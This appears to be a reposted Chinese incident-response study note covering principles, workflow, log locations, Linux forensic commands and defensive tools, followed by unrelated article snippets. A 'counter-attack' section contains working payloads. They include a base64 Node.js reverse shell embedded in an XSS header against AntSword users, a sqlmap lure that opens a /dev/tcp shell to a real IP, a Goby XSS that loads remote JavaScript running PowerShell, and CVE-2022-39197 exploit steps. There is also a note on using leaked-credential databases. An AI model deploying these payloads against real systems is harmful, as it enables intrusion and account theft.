应急响应小结

应急响应的整体思路

应急响应的整体思路,就是上层有指导性原则和思想,下层有技能、知识点与工具,共同推进和保障应急响应流程的全生命周期。

原则和指导性思路

3W1H原则:3W即Who、What、Why,1H即How,做应急响应要带着疑问来做事,一定要收集清楚这些信息。网络拓扑是怎么样的?需求是啥?发生了什么事?你能做什么?用户用了什么产品?产品版本多少?病毒库版本多少?多少主机中了?主机是普通PC还是服务器?服务器是做什么的?……信息收集越多,对应急响应越有利。

易失性原则:做应急响应免不了要做信息收集和取证的,但这里是有一定的先后顺序的,即最容易丢失的据,应该最先收集,其它的依次类推。

要素原则:做应急响应,主要是抓关键证据,即要素,这些要素包括样本、流量、日志、进程及模块、内存、启动项。

避害原则:做应急响应,要做到趋利避害,不能问题还没有解决,反而引入了新的问题。譬如,自己使用的工具被感染而不知情;给用户使用不恰当的工具或软件造成客户主机出现问题;给别人发样本,不加密,不压缩,导致别人误点中毒,最极端的场景就是给别人发勒索样本不加密压缩,导致别人误点中毒。

技能、知识点与工具

应急工具集:应急响应必要的一套工具集合,可协助应急人员做分析,提高效率。
日志分析:能对日志进行分析,包括但不限于系统日志(Windows/Linux等)、应用日志、安全设备日志(防火墙、防病毒、态势感知等)。
威胁情报:
安全事件可能不是孤立的,安全站点或搜索站点能找到安全事件的关联信息。
漏洞补丁知识:知道漏洞与补丁的关系,它们在应急响应中的角色,了解常见漏洞及补丁。
常见病毒及分类:知道病毒大致的分类以及常见的病毒。
样本分析:至少能对样本进行一次简单动态的分析。
操作系统知识:至少对Windows系统和Linux系统的有一定的知识储备,知道其基础的工作原理。

应急响应的基本流程

收集信息:收集客户信息和中毒主机信息,包括样本。
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。
深入分析:日志分析、进程分析、启动项分析、样本分析。
清理处置:杀掉进程,删除文件,清楚启动项,打补丁,抑或是修复文件等等。
产出报告:整理并输出完整的安全事件报告。

信息收集

客户名称什么区域的什么客户
感染主机数已经感染了的主机
补丁情况已经打了哪些补丁,是否存在补丁漏打
中毒现象后门/木马/勒索/挖矿/DoS/僵尸网络
帐号密码确认是否有弱密码
对外开发端口对外开发了哪些端口
开启的服务开启了哪些服务
操作系统版本操作系统版本信息
客户需求确认客户具体需求

等等

取证要素:取证并非毫无头绪的,病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的dll/so模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。

总之,可以归结为如下几点:流量、进程、网络连接、定时任务、启动项、服务、模块等

应急工具

流量分析工具:常用的流量分析工具是Wireshark
进程分析工具:ProcessHacker和PC Hunter等。
启动项分析工具:主要是AutoRuns工具,便于定位病毒启动项。
专杀工具:有些流行病毒家族,通常对杀软有抑制性,或者本身有感染性,需要专杀工具去查杀和修复正常文件。
辅助工具:WinHex、文件Hash工具、Everything搜索工具、Unlocker文件解锁工具等。
内存扫描工具:主要是MemScanner。

系统日志及日志分析

Windows&Linux系统日志:Windows系统自带的审计日志、操作日志、故障日志。
应用日志:包括但不限于Web应用等众多繁杂的日志,数据库,中间件,数据平台,cms,是个组件都有日志
安全设备日志:IDS,IPS,EDR....

Windows系统日志
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx

Linux系统日志
日志路径:/var/log
必看日志:secure、history

应急

事前

事前更多的时候是说甲方企业,在日常做的事情,需要熟悉自身的情况,做到知己
最核心的:
网络拓扑 -> IP分布、安全域的划分、能够上外网的区域、边界的访问控制等,出来一个IP就知道在哪个区域
安全设备 -> 已有的安全防御措施,waf、IPS、TIP、soc、hids、终端管控、杀毒软件 这些防御将在应急响应过程中大大提高应急效率,节省很多宝贵时间
备份情况 -> 企业是否具有备份,在处理勒索病毒时,非常有用
应急预案 -> 应急过程是高强度、争分夺秒的事情,在这种情况下很难考虑周全,因此需要事前做预案,对各种可能情况进行冷静、理智分析,包括解决方案、操作步骤、联系人员
应急演练 -> 确保应急预案可用,流程顺畅,因此 需要事前进行演练,查找预案的不足,及时进行更正,确保预案可行性
预案中最主要的是人员通讯录,明确分工和职责,至少需要一位总指挥 见过太多无头应急,失败已经是注定的

检测

怎样发现出现问题的?
- 主机向外发送大量数据包?
- 主机资源瓶颈(CPU跑满 -> 挖矿,磁盘满了->数据下载)
- 安全监控报警(日志报警)
- 威胁情报(用户诈骗投诉电话、SRC威胁情报、暗网监控)
- 主机运行比较慢?

响应

收集受影响的主机信息和取证相关恶意程序
收集相关的日志信息包括但不限于网络流量日志、防火墙日志、系统安全日志、审计日志、web服务器日志、数据库日志和其他相关日志。
对已掌握的线索进行深入分析,并对其攻击类型进行分析和定性,如网络攻击(端口扫描、账号破解、POC扫描、DDoS)、恶意程序(病毒、勒索/挖矿木马、后门)等
在根据分析结果对本次事件的发起时间点进行确认,定位攻击源头,确保受影响服务和失陷主机
最终是以时间为线梳理出来的完整攻击路径

处置

真实操作中,处置与响应基本上同时进行,而且处置是止损的关键。主要操作的方法:
封锁公网IP -> 一般是攻击者的服务端公网IP地址
封域名 -> 内网dns封掉回连dns
线下被感染的主机 -> 网络隔离掉被感染的主机
恶意软件采样 -> 恶意文件
后门账号 -> 清理后门账号
横向排查 -> 此类相关问题进行横向排查,确认是否有相关问题 ,比如确认恶意木马,计算hash,在HIDS检索,确认其他机器是否存在相同文件

溯源(攻击者画像)

收集攻击者相关信息:
姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明人物照片:
跳板机(可选):
关联攻击事件

恶意文件分析,代码中的

百度
谷歌语法
fofa
ip查询
ip反查
威胁情报
备案查询
whois
爱企查
ip定位
github,gitee,开源中国,src排行,技术博客
社交媒体 QQ/微信/微博/豆瓣/贴吧/知乎/脉脉/linkedin/twitter等搜索
reg007 电话,邮箱注册过哪些网站
各种社工库 查询姓名,ip,泄露密码爆破账户

溯源反制

Webshell 工具-Antsword

原理:蚁剑支持Nodejs脚本
<?php header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');
上线:
Nodejs 代码:
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(xx, "xx.xx.xx.xx", 
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
编码组合后:
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgIjQ3Ljk0LjIzNi4xMTciLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpO3NoLnN0ZGVyci5waXBlKGNsaWVudCk7fSk7`,`base64`).toString())'>");

SQL 注入工具-SQLMAP
 

蓝队提前构造注入页面诱使红队进行 sqlmap 注入拿到红队机器权限
原理:
命令管道符:ping "`dir`"
构造注入点页面固定注入参数值,等待攻击者进行注入
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec   /bin/sh 0</dev/tcp/47.94.236.117/2333   1>&0 2>&0`"

漏洞扫描工具-Goby

index.php
<?php header("X-Powered-By: PHP/<img src=1 οnerrοr=import(unescape('http%3A//47.94.236.117/1.js'))>");
<html>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>

1.js
(function(){require('child process').exec('calc.exe');})();
2.js上线:
(function(){require('child process').exec('powershel -nop -w hidden -encodedcommand JABXXXXXXXX(cs上线代码)');})();

CobaltStrike

对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw

2、利用漏洞(CVE-2022-39197)
Cobalt Strike<=4.7 XSS
获取真实ip地址
获取NTLM
RCE
SSRF
https://github.com/its-arun/CVE-2022-39197.
-修改EXP里面的执行命令后编译
修改:EvilJar/src/main/java/Exploit.java
-python -m http.server 8888
-修改svg加载地址并架设Web服务
修改: evil.svg 指向python打开web服务的url地址
xlink:href=“http://47.94.236.117:8888/Evilar-1.0-jar-with-dependencies.jar”
-执行EXP调用后门上线,攻击者进程查看时触发
python cve-2022-39197.py beacon.exe http://47.94.236.117:8888/evil.svg

3、反制Server,爆破密码(通用)
针对没有采用隐匿C2地址的技术导致的反制
https://github.com/ryanohoro/csbruter
python csbruter.py 47.94.236.117 pass.txt

安全事件应急

linux

1.远控后门

1.事件来源,通过EDR等安全设备报警

2.下载河马等后门查杀工具,确认后门位置

3.配合威胁感知平台,确认外连ip和端口     netstat -anpt

4.查找进程信息      ps -ef

根据文件查pid
lsof | grep evil.sh
lsof /root/evil.sh

根据pid查相关文件
lsof -p 1234

systemctl status pid 获取进程status信息
ps -T -p pid   查看进程创建的线程

5.确定进程运行时间
查看进程运行时间
ps -eo pid,lstart,etime,cmd | grep <pid>

与恶意文件创建时间作对比,验证恶意文件
ls -al evil.sh

6.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析
什么类型恶意文件,目标ip,该ip是否为恶意地址等

进程查杀
kill -9 pid
kill -9 -pid 杀死整个进程组,用于systemctl status pid看到有创建线程的程序

7.删除恶意文件

解决因添加 a 或 i 属性而不能删除
chattr -a
chattr -i
8.善后阶段
add:查看日志,配合后门访问时间以及进程创建时间确定ip来源
内存马查杀:
php:删除文件后中间件重启就行
java:相关项目
Getshell/Mshell: Memshell-攻防内存马研究 (github.com)

2.挖矿病毒

1.获取异常进程pid     top

2.寻找恶意文件     
lsof -p pid
systemctl status pid
ps -T -p pid

3.确定进程运行时间
与恶意文件创建时间对比

ps -eo pid,lstart,etime,cmd | grep <pid>
ls -al evil.sh

4.处理异常进程
恶意文件采样,并放在恶意文件分析平台上分析

进程查杀
kill -9 pid
kill -9 -pid

5.删除恶意文件

3.勒索病毒

1.确定病毒家族
利用勒索病毒搜索引擎和百度,从勒索病毒的外在特征,文件后缀,联系邮箱等确定

2.利用勒索病毒搜索引擎和百度,搜索解密工具
淘宝,咸鱼请高手
没办法就交钱或者重做系统

4.暴力破解

暴力破解主要针对
ssh
ftp
smtp
mysql
redis
mongodb
等等
1.检查网络连接     netstat -anpt
2.查看对应登录日志,看爆破行为
加固:加强密码复杂程度

善后阶段:

1.杀毒工具查杀
clamav
chkrootkit
Unhide
Rootkit Hunter

2.history信息
以下几种情况history信息不全

被清空或设置不记录
history -c
unset HISTORY HISTFILE HISTSAVE HISTZONE
HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export
HISTFILESIZE=0

命令前带一个空格不会记录

通过ssh远程执行的命令不会记录
ssh ubuntu@192.168.1.1 "whoami"

ssh异常中断

3.登录信息
who   当前登录用户
last -awF    显示所有登录成功信息

4.计划任务
/etc/crontab
/etc/cron.d/xx
/var/spool/cron/xxxx/xx
/etc/anacrontab (Redhat/Centos)

5.ssh后门
~/.ssh/authorized_keys 检查是否写入公钥

cat /etc/ssh/ssh_config
cat  ~/.ssh/config
检查是否写入
LocalCommand或ProxyCommand后门

ssh隧道
netstat -anpt 查看网络连接,看到22端口转发到其他端口

6.新增账户
cat /etc/passwd

7.特权账户
awk -F: '$3==0 {print $1}' /etc/passwd

8.特殊权限文件
SUID   
find / -perm /4000
GUID   find / -perm /2000

SUID和GUID   find / -perm /6000
探针 LinEnum.sh

9.启动项
systemctl list-unit-files --type=service | grep enabled
systemctl stop xx.service
systemctl disable xx.service

服务检查
列出正在运行的系统服务
systemctl list-unit-files --type=service | grep enabled
systemctl status xxx.service   查看服务进程状况
systemctl cat xxx.service   查看服务配置文件

10环境变量
env
set
export
cat /proc/$PID/environ
declare

11.bash命令
bash命令搜索顺序为,别名alias,关键字,函数,内置命令,外部命令
查看alias别名
alias
创建
alias l="ls -al"
删除
unalias l

查看函数
declare -f xx
删除恶意函数
unset -f xx

查看内置命令
compgen -b

查看内置命令的同名文件
compgen -b | grep -v -E "\.|\:" | while read line;do ls /usr/bin/$line 2>null ;
done

12.动态链接库劫持
LD_PRELOAD
echo $LD_PRELOAD
/etc/ld.so.conf

LD_LIBRARY_PATH
echo $LD_LIBRARY_PATH
/etc/ld.so.preload
13.修改域名解析记录
cat /etc/hosts

14.rookit后门检测
工具rkhunter

应急工具:

日志提取工具
七牛 Logkit

日志自动分析
Linux系统 - GScan
Windows系统 -LogonTracer
Web-360 星图&Goaccess

ELK日志分析系统

Yara工具

蜜罐平台 Hfish

HIDS-Wazuh&Elkeid-hub(linux)

IDS-Snort&Suricata
规则库:
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection

参考

应急响应的整体思路和基本流程 - FreeBuf网络安全行业门户

网络安全应急响应基本流程 - 知乎 (zhihu.com)

Windows 应急响应手册v1.1-腾讯云开发者社区-腾讯云 (tencent.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/494964.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vastbase编程利器:PL/pgSQL原理简介

PL/pgSQL是Vastbase提供的一种过程语言&#xff0c;在普通SQL语句的使用上增加了编程语言的特点&#xff0c;可以用于创建函数、存储过程、触发器过程以及创建匿名块等。 本文介绍Vastbase中PL/pgSQL的执行流程&#xff0c;包括PL/pgSQL的编译与运行。 1、编译 PL/pgSQL的编译…

Windows入侵排查

目录 0x00 前言 0x01 入侵排查思路 1.1 检查系统账号安全 1.2 检查异常端口、进程 1.3 检查启动项、计划任务、服务 0x00 前言 当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时&#xff0c;急需第一时间进行处理&#xff0c;使企业的网络信息系统在最短时…

CQ 社区版2.10.0 | 新增 SQL 审核、全新英文版上线…

三月中旬&#xff0c;我们预告了 CloudQuery 社区版即将上线的「SQL 审核」功能。现在&#xff0c;它来了&#xff01; 本次社区版 v2.10.0&#xff0c;除了 SQL 审核功能&#xff0c;我们还在手动授权、连接分组等模块做了新功能和优化。 新增功能 新增 SQL 审核功能 支持…

政安晨:【深度学习神经网络基础】(二)—— 神经元与层

政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 政安晨的机器学习笔记 希望政安晨的博客能够对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff01; 神经元是深度学习神经网络中的基本单元&#xff0c;模拟了…

从零开始为香橙派orangepi zero 3移植主线linux——1.uboot

从零开始为香橙派orangepi zero 3移植主线linux——1.uboot 0.前言一、准备二、制作引导文件1.BL312.SCP firmware (Crust)3.uboot 三、烧录四、运行 0.前言 之前买了块香橙派zero3&#xff0c;CPU是全志H618&#xff0c;四核cortex-A53&#xff0c;烧录了官方的ubuntu系统后就…

nodejs中使用WebScoket的简单示例

前言 WebScoket可以用来实现即时通信,一般用于通信聊天工具或者是需要实时接受数据等功能 在浏览器环境中,WebScoket是一个构造函数,需要new创建连接的实例; 在nodejs环境中,则需要使用ws模块来完成服务的创建。 示例 下面是可以直接使用的代码,不需要修改 node创建服务端…

Avalonia笔记4-Rider如何添加xaml支持

在Linux Rider中&#xff0c;File Type中是有XAML文件的&#xff0c;但是新增xaml文件并不能正确的添加到项目中&#xff0c;而且就算是新增文件&#xff0c;直接命名为“XXX.xaml”&#xff0c;也是没有智能提示的。 在引用Style文件的时候&#xff0c;需要新建一个axaml的文…

STM32H743驱动SSD1309(2)

接前一篇文章&#xff1a;STM32H743驱动SSD1309&#xff08;1&#xff09; 二、芯片详解 1. 概览 上一回已提到&#xff0c;SSD1309是一个单片CMOS OLED/PLED驱动芯片可以驱动有机/聚合发光二极管点阵图形显示系统。由128个segments和64个commons组成。该芯片专为共阴极OLED…

机器学习——聚类算法-KMeans聚类

机器学习——聚类算法-KMeans聚类 在机器学习中&#xff0c;聚类是一种无监督学习方法&#xff0c;用于将数据集中的样本划分为若干个簇&#xff0c;使得同一簇内的样本相似度高&#xff0c;不同簇之间的样本相似度低。KMeans聚类是一种常用的聚类算法之一&#xff0c;本文将介…

【设计经验】0Ω电阻在电路中有什么作用

电路设计与调试过程中,我们很多时候要用到0Ω电阻(如下图),那么0Ω电阻到底在这过程中充当了什么样的角色呢? 0R电阻在电路中有什么作用? #创作灵感#:脑海存留的如下几点疑惑需要解开。 1、电路初次设计使用串接电阻为什么是0R电阻; 2、单板调试时为什么有时候会用到0R…

VMware Live Recovery 9.0 发布 - 多云实时恢复

VMware Live Recovery 9.0 - 多云实时恢复 VMware Live Cyber Recovery VMware Live Site Recovery 请访问原文链接&#xff1a;https://sysin.org/blog/vmware-live-recovery/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.or…

Unity学习笔记 9.2D射线

下载源码 UnityPackage 1.Ray2D 让小球向右发射射线&#xff1a; Ray2D ray;void Start() {// Ray2D(起点&#xff0c;终点)ray new Ray2D(this.transform.position, Vector2.right);// Debug.DrawLine(起点&#xff0c;终点&#xff0c;颜色&#xff0c;显示时间)Debug.DrawL…

[实战]Springboot与GB28181摄像头对接。摄像头注册上线(一)

与支持国标摄像头对接 前言&#xff1a;不想看教程&#xff1f;1、准备阶段1.1、我们会学到什么&#xff1f;1.2、创建项目1.3、pom中用到的依赖1.4 打开摄像头的网址(了解配置方式) 2、代码编写2.1、增加项目配置2.2、在config目录下创建SipConfig2.3、在service目录下创建Sip…

如何在Windows 10中打开屏幕键盘?这里有详细步骤

本文解释了在Windows 10中打开或关闭屏幕键盘的不同方法,还解释了如何将屏幕键盘固定到开始菜单。 使用屏幕键盘的快捷键 如果你喜欢快捷方式,你会喜欢这个:按物理键盘上的Win+CTRL+O。这将立即显示屏幕键盘,而无需通过轻松使用。 ​提示:使用运行窗口也可以打开键盘。…

Tuxera for Mac2024软件产品密钥及下载安装教程

Tuxera for Mac在安全性和稳定性方面表现出色&#xff0c;为用户提供了可靠的数据保障和无忧的使用体验。 首先&#xff0c;从安全性角度来看&#xff0c;Tuxera for Mac采用了先进的技术来保护用户的数据。它支持快速全面的数据保护&#xff0c;通过智能缓存技术确保文件传输…

《手把手教你》系列技巧篇(五十七)-java+ selenium自动化测试-下载文件-下篇(详细教程)

1.简介 前边几篇文章讲解完如何上传文件&#xff0c;既然有上传&#xff0c;那么就可能会有下载文件。因此宏哥就接着讲解和分享一下&#xff1a;自动化测试下载文件。可能有的小伙伴或者童鞋们会觉得这不是很简单吗&#xff0c;还用你介绍和讲解啊&#xff0c;不说就是访问到…

图神经网络实战(6)——使用PyTorch构建图神经网络

图神经网络实战&#xff08;6&#xff09;——使用PyTorch构建图神经网络 0. 前言1. 传统机器学习与人工智能2. 人工神经网络基础2.1 人工神经网络组成2.2 神经网络的训练 3. 图神经网络4. 使用香草神经网络执行节点分类4.1 数据集构建4.2 模型构建4.3 模型训练 5. 实现香草图神…

聚观早报 | 比亚迪2023年营收;vivo X Fold3系列发布

聚观早报每日整理最值得关注的行业重点事件&#xff0c;帮助大家及时了解最新行业动态&#xff0c;每日读报&#xff0c;就读聚观365资讯简报。 整理丨Cutie 3月28日消息 比亚迪2023年营收 vivo X Fold3系列发布 现代汽车拟投入68万亿韩元 华为P70系列最新渲染图 苹果A1…

Art Gallery Vol.2

Art Gallery Vol.2为您的游戏、VR项目和模拟器提供了一个很好的解决方案,图片库。 一个充满雕塑和框架的现代艺术画廊。它包括11件雕塑、14幅画作。适合收藏展览或画作展示。 所有画作都是独立的纹理,非常适合ArchViz、VR或任何类型的AAA游戏。 下载:​​Unity资源商店链接…

[linux] AttributeError: module ‘transformer_engine‘ has no attribute ‘pytorch‘

[BUG] AttributeError: module transformer_engine has no attribute pytorch Issue #696 NVIDIA/Megatron-LM GitHub 其中这个答案并没有解决我的问题&#xff1a; import flash_attn_2_cuda as flash_attn_cuda Traceback (most recent call last): File "<stdi…